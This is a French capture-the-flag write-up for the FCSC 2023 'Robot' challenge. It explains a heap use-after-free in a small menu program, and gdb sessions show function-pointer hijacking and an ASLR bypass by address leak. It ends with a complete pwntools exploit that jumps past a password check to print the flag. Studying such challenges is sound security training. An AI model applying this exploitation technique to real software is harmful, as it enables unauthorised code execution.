Solution de lrstx pour Robot

pwn heap x86/x64

5 mai 2024

Découverte

On lance l’application pour étudier son fonctionnement :

$ ./robot
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 1
Comment vous l'appelez ?
> plop
Vous construisez un nouveau robot. plop est un très joli nom pour un robot !

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 3
Vous allumez le robot. plop se déplace en grinçant !
De la fumée commence à apparaître, puis des étincelles... plop prend feu !!!
plop est complètement détruit

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 6
Enter admin password
> plop
ERROR: wrong password!

Je ne passe pas partout, mais visiblement, on peut jouer un robot, et rédiger un mode d’emploi. Il y a aussi un espace admin, qui est protégé par un mot de passe. La suite se fait plutôt par analyse du code. Il y a deux structures qui définissent un robot et un mode d’emploi :

struct Robot {
    char name[16];
    void (*makeNoise)();
    void (*move)();
};

struct RobotUserGuide {
    char guide[32];
};

Ensuite, les différents choix du menu sont décrits ci-dessous :

  1. Alloue sur le tas un espace pour une structure Robot.
  2. Fait beeper le robot, ce n’est pas très intéressant…
  3. Fait bouger le robot, ce qui le détruit, et libère l’espace alloué pour la structure.
  4. Alloue sur le tas un espace pour une structure RobotUserGuide et la remplie avec les 32 caractères saisis par l’utilisateur.
  5. Affiche le mode d’emploi initialisé au choix précédent.
  6. Accède à l’espace d’administration, qui va afficher le flag contenu dans un fichier si on fournit un mot de passe dont le SHA256 est codé en dur.

On oublie tout de suite le hash dans le code : s’il est présent, c’est probablement qu’il n’est pas cassable. En revanche, il est plus intéressant de tracer les différents appels à l’allocateur :

  • lorsque le robot est détruit, on libère la structure mais la variable qui pointe dessus n’est pas modifiée.
  • il n’y a pas de possibilité de détruire un mode d’emploi, donc la variable qui pointe dessus reste à l’infini.
  • les deux structures ont la même taille (ça c’est bien pratique…)
  • la structure du robot contient deux pointeurs de fonctions. Toutes ces observations nous poussent vers la solution : on est en présence d’un Use After Free.

Première exploitation

Il s’agit d’abord de déterminer si on peut détourner l’exécution du programme au travers de cette vulnérabilité. La cible va évidemment d’essayer d’écraser les pointeurs de fonction du robot. Une possibilité de le faire est de suivre les actions suivantes :

  • créer un robot, ce qui alloue la structure.
  • «jouer» avec le robot, ce qui détruit la structure, tout en maintenant le pointeur de robot sur l’emplacement alloué.
  • écrire un guide utilisateur, ce qui va allouer une structure à l’emplacement de celle du robot.

Au final, la structure du robot va pointer sur notre guide utilisateur et on maîtrise donc les pointeurs de fonction. Faisons l’essai immédiatement à l’aide de gdb :

$ gdb ./robot
gef➤  run
Starting program: robot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 1
Comment vous l'appelez ?
> plop
Vous construisez un nouveau robot. plop est un très joli nom pour un robot !

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 3
Vous allumez le robot. plop se déplace en grinçant !
De la fumée commence à apparaître, puis des étincelles... plop prend feu !!!
plop est complètement détruit

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 4
Vous commencez à rédiger le mode d'emploi...
> AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 3

Program received signal SIGSEGV, Segmentation fault.
0x00005555555556d1 in main ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0000555555555860  →  <__libc_csu_init+0> push r15
$rcx   : 0x0
$rdx   : 0x43434343434343
$rsp   : 0x00007fffffffd8c0  →  0x0000004000330000
$rbp   : 0x00007fffffffd930  →  0x0000000000000000
$rsi   : 0x0
$rdi   : 0x0000555555559ac0  →  "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC"
$rip   : 0x00005555555556d1  →  <main+504> call rdx
$r8    : 0xa
$r9    : 0x17
$r10   : 0x00005555555561ce  →  "Vous allumez le robot. "
$r11   : 0x246
$r12   : 0x0000555555555180  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffda20  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd8c0│+0x0000: 0x0000004000330000	 ← $rsp
0x00007fffffffd8c8│+0x0008: 0x0000000000000040 ("@"?)
0x00007fffffffd8d0│+0x0010: 0x0000555555559ac0  →  "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC"
0x00007fffffffd8d8│+0x0018: 0x0000555555559ac0  →  "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC"
0x00007fffffffd8e0│+0x0020: 0x00000000706f6c70 ("plop"?)
0x00007fffffffd8e8│+0x0028: 0x0000000000000000
0x00007fffffffd8f0│+0x0030: 0x0000000000000000
0x00007fffffffd8f8│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555556c5 <main+492>       mov    rax, QWORD PTR [rbp-0x60]
   0x5555555556c9 <main+496>       mov    rdi, rax
   0x5555555556cc <main+499>       mov    eax, 0x0
 → 0x5555555556d1 <main+504>       call   rdx
   0x5555555556d3 <main+506>       mov    rax, QWORD PTR [rbp-0x60]
   0x5555555556d7 <main+510>       mov    rsi, rax
   0x5555555556da <main+513>       lea    rdi, [rip+0xb07]        # 0x5555555561e8
   0x5555555556e1 <main+520>       mov    eax, 0x0
   0x5555555556e6 <main+525>       call   0x555555555030 <printf@plt>
─────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x43434343434343 (
   $rdi = 0x0000555555559ac0 → "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC",
   $rsi = 0x0000000000000000,
   $rdx = 0x0043434343434343
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "robot", stopped 0x5555555556d1 in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555556d1 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Le programme crashe sur un call rdx, où rdx vaut 0x43434343434343, soit les CCCCCCCC que l’on a écrit dans le mode d’emploi. Parfait, il nous suffit maintenant d’écraser avec l’adresse d’admin() et c’est fini ? Malheureusement non, ASLR va nous en empêcher.

ASLR bypass

ASLR étant activé sur la cible, on ne peut pas connaître à l’avance l’adresse de la fonction admin(). Idéalement, il faudrait faire fuiter cette adresse. Et par la même vulnérabilité, il est possible de le faire. Plus exactement, on peut faire fuiter les adresses de makeNoise() et move(), et en déduire le décalage général d’adresses provoqué par ASLR. Cette fois ci, on va organiser les actions pour appeler l’affichage d’un guide utilisateur sur la structure d’un ancien robot :

  • créer un robot, ce qui alloue la structure.
  • «jouer» avec le robot, ce qui détruit la structure, tout en maintenant le pointeur de robot sur l’emplacement alloué.
  • écrire un guide utilisateur vide, ce qui va allouer une structure à l’emplacement de celle du robot sans écraser ses données.
  • lire le guide utilisateur.

Essayons de nouveau avec gdb en breakant au début de la boucle d’affichage du guide utilisateur :

gef➤  b *0x000055555555577a
gef➤  run
Starting program: /home/wrxn5498/tmp/robot - DONE/robot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 1
Comment vous l'appelez ?
> papy
Vous construisez un nouveau robot. papy est un très joli nom pour un robot !

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 3
Vous allumez le robot. papy se déplace en grinçant !
De la fumée commence à apparaître, puis des étincelles... papy prend feu !!!
papy est complètement détruit

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 4
Vous commencez à rédiger le mode d'emploi...
>

Que faites-vous ?
1: Construire un robot		4: Rédiger le mode d'emploi
2: Le faire parler		5: Afficher le mode d'emploi
3: Jouer avec le robot		6: Admin
0: Quitter
> 5
Breakpoint 1, 0x000055555555577a in main ()

gef➤  x/8x $rdx
0x555555559ac0:	0x0000000a	0x00000000	0x00000000	0x00000000
0x555555559ad0:	0x55555289	0x00005555	0x555552fc	0x00005555
gef➤  continue
Continuing.
�RUUUU�RUUUU

L’affichage contient bien les deux adresses de makeNoise() et move(). Ce qui est intéressant, c’est que connaissant l’adresse d’une de ces deux fonctions dans le binaire, à partir de l’adresse fuitée on peut en déduire l’offset des adresses à l’exécution. Ainsi, l’adresse d’admin() à l’exécution sera également son adresse dans le binaire ajouté de cet offset.

Password bypass

C’est bien beau tout ça, on va appeler admin(), mais avec quel mot de passe ? En fait, on n’est pas obligé de sauter au début de la fonction. Il est aussi possible de sauter à l’intérieur de la fonction en bypassant la vérification du mot de passe. Par exemple :

void admin(char *pwd)
{
    unsigned char hash[SHA256_DIGEST_LENGTH];
    char    result[65];

    SHA256((const unsigned char *) pwd, strlen(pwd), hash);

    for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
        sprintf(result + (i * 2), "%02x", hash[i]);
    }

    if (strcmp(result, encrypted) == 0) {
        execl("/bin/cat", "/bin/cat", "flag.txt", NULL);        // Sauter directement ICI !
        perror("execl");
        exit(2);
    } else {
        puts("ERROR: wrong password!");
    }
}

Dans la version compilée, on trouve l’adresse grâce à gdb :

gef➤  disass admin
Dump of assembler code for function admin:
   0x00000000000013d7 <+0>:	push   rbp
   0x00000000000013d8 <+1>:	mov    rbp,rsp
   0x00000000000013db <+4>:	sub    rsp,0x90
   0x00000000000013e2 <+11>:	mov    QWORD PTR [rbp-0x88],rdi
   0x00000000000013e9 <+18>:	mov    rax,QWORD PTR fs:0x28
   0x00000000000013f2 <+27>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000000013f6 <+31>:	xor    eax,eax
   0x00000000000013f8 <+33>:	mov    rax,QWORD PTR [rbp-0x88]
   0x00000000000013ff <+40>:	mov    rdi,rax
   0x0000000000001402 <+43>:	call   0x10c0 <strlen@plt>
   0x0000000000001407 <+48>:	mov    rcx,rax
   0x000000000000140a <+51>:	lea    rdx,[rbp-0x70]
   0x000000000000140e <+55>:	mov    rax,QWORD PTR [rbp-0x88]
   0x0000000000001415 <+62>:	mov    rsi,rcx
   0x0000000000001418 <+65>:	mov    rdi,rax
   0x000000000000141b <+68>:	call   0x1090 <SHA256@plt>
   0x0000000000001420 <+73>:	mov    DWORD PTR [rbp-0x74],0x0
   0x0000000000001427 <+80>:	jmp    0x145f <admin+136>
   0x0000000000001429 <+82>:	mov    eax,DWORD PTR [rbp-0x74]
   0x000000000000142c <+85>:	cdqe
   0x000000000000142e <+87>:	movzx  eax,BYTE PTR [rbp+rax*1-0x70]
   0x0000000000001433 <+92>:	movzx  eax,al
   0x0000000000001436 <+95>:	mov    edx,DWORD PTR [rbp-0x74]
   0x0000000000001439 <+98>:	add    edx,edx
   0x000000000000143b <+100>:	movsxd rdx,edx
   0x000000000000143e <+103>:	lea    rcx,[rbp-0x50]
   0x0000000000001442 <+107>:	add    rcx,rdx
   0x0000000000001445 <+110>:	mov    edx,eax
   0x0000000000001447 <+112>:	lea    rsi,[rip+0xc5f]        # 0x20ad
   0x000000000000144e <+119>:	mov    rdi,rcx
   0x0000000000001451 <+122>:	mov    eax,0x0
   0x0000000000001456 <+127>:	call   0x10d0 <sprintf@plt>
   0x000000000000145b <+132>:	add    DWORD PTR [rbp-0x74],0x1
   0x000000000000145f <+136>:	cmp    DWORD PTR [rbp-0x74],0x1f
   0x0000000000001463 <+140>:	jle    0x1429 <admin+82>
   0x0000000000001465 <+142>:	lea    rax,[rbp-0x50]
   0x0000000000001469 <+146>:	lea    rsi,[rip+0x2bb0]        # 0x4020 <encrypted>
   0x0000000000001470 <+153>:	mov    rdi,rax
   0x0000000000001473 <+156>:	call   0x1120 <strcmp@plt>
   0x0000000000001478 <+161>:	test   eax,eax
   0x000000000000147a <+163>:	jne    0x14b6 <admin+223>
   0x000000000000147c <+165>:	mov    ecx,0x0                                  # On saute ICI
   0x0000000000001481 <+170>:	lea    rdx,[rip+0xc2a]        # 0x20b2
   0x0000000000001488 <+177>:	lea    rsi,[rip+0xc2c]        # 0x20bb
   0x000000000000148f <+184>:	lea    rdi,[rip+0xc25]        # 0x20bb
   0x0000000000001496 <+191>:	mov    eax,0x0
   0x000000000000149b <+196>:	call   0x1070 <execl@plt>
   0x00000000000014a0 <+201>:	lea    rdi,[rip+0xc1d]        # 0x20c4
   0x00000000000014a7 <+208>:	call   0x1140 <perror@plt>
   0x00000000000014ac <+213>:	mov    edi,0x2
   0x00000000000014b1 <+218>:	call   0x1050 <exit@plt>
   0x00000000000014b6 <+223>:	lea    rdi,[rip+0xc0d]        # 0x20ca
   0x00000000000014bd <+230>:	call   0x1040 <puts@plt>
   0x00000000000014c2 <+235>:	nop
   0x00000000000014c3 <+236>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000014c7 <+240>:	sub    rax,QWORD PTR fs:0x28
   0x00000000000014d0 <+249>:	je     0x14d7 <admin+256>
   0x00000000000014d2 <+251>:	call   0x1110 <__stack_chk_fail@plt>
   0x00000000000014d7 <+256>:	leave
   0x00000000000014d8 <+257>:	ret
End of assembler dump.

On en déduit qu’il faut sauter à admin()+165. On a tout ce qu’il faut, reste à écrire un joli exploit.

Exploit final

L’exploit complet ci-dessous est écrit en python, à l’aide de la librairie pwntools qui se charge de tous les détails pour nous.

À l’exécution, on obtient :

[+] Opening connection to localhost on port 4000: Done
[*] Finding symbol adresses...
[*] '/home/papy/Challenges/write-ups/ctf-writeups/fcsc2023/Pwn/robot/robot'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    makeNoise() symbol: 0x1289
    admin() symbol: 0x13d7
[*] Leaking addresses...
    makeNoise addr: 0x57635de52289, makeNoise symbol: 0x1289, delta:0x57635de51000
[*] Exploit...
    We want to jump to 0x57635de5247c
    Send payload b'AAAAAAAAAAAAAAAABBBBBBBB|$\xe5]cW\x00\x00'
[+] Receiving all data: Done (285B)
[*] Closed connection to localhost port 4000
[+] Flag: FCSC{136e057aa66dd6d6b772cae51260121f65973ff2045ec812ad597c9060a6a18d}

Script de résolution

#!/usr/bin/env python3

from pwn import * # Import pwntools
import re
import sys

# Arguments
if '-test' in  sys.argv:
    p = process('./robot')
else:
    p = remote('localhost', 4000)
if '-v' in sys.argv:
    context.log_level = 'debug' # Enable logging

# Find addresses
log.info('Finding symbol adresses...')
elf = ELF('./robot') # Extract data from binary
make_noise_symbol = elf.symbols['bleep']
print(f'\tmakeNoise() symbol: {hex(make_noise_symbol)}')
admin_symbol = elf.symbols['admin']
print(f'\tadmin() symbol: {hex(admin_symbol)}')

# ASLR bypass
log.info('Leaking addresses...')
p.sendlineafter(b'0: Quitter\n', b'1')                    # Créer robot
p.sendlineafter(b'l\'appelez ?\n', b'plop')               # Son nom
p.sendlineafter(b'0: Quitter\n', b'3')                    # Jouer => destruction
p.sendlineafter(b'0: Quitter\n', b'4')                    # Rédiger mode emploi
p.sendlineafter(b'emploi...\n', b'')                      # Mode emploi
p.sendlineafter(b'0: Quitter\n', b'5')                    # Lire mode emploi
received = p.recvuntil(b'Que faites-vous ?')              # Leak les adresses
log.debug(f'\tReceived: {received}')
make_noise_addr = u64(received[18:26])
delta = make_noise_addr - make_noise_symbol
print(f'\tmakeNoise addr: {hex(make_noise_addr)}, makeNoise symbol: {hex(make_noise_symbol)}, delta:{hex(delta)}')

# Exploitation
log.info('Exploit...')
target_addr = admin_symbol + delta + 165
print(f'\tWe want to jump to {hex(target_addr)}')
p.sendlineafter(b'0: Quitter\n', b'1')                    # Créer robot
p.sendlineafter(b'l\'appelez ?\n', b'plop')               # Son nom
p.sendlineafter(b'0: Quitter\n', b'3')                    # Jouer => destruction
p.sendlineafter(b'0: Quitter\n', b'4')                    # Rédiger mode emploi
payload = b'A'*16 + b'B'*8 + p64(target_addr)
print(f'\tSend payload {payload}')
p.sendlineafter(b'emploi...\n', payload)                  # Mode emploi
p.sendlineafter(b'0: Quitter\n', b'3')                    # Parler
output = p.recvall().decode('utf-8').strip('\n')
flag = re.search(r'(FCSC{.*})', output).group(1)
log.success(f'Flag: {flag}')
p.close()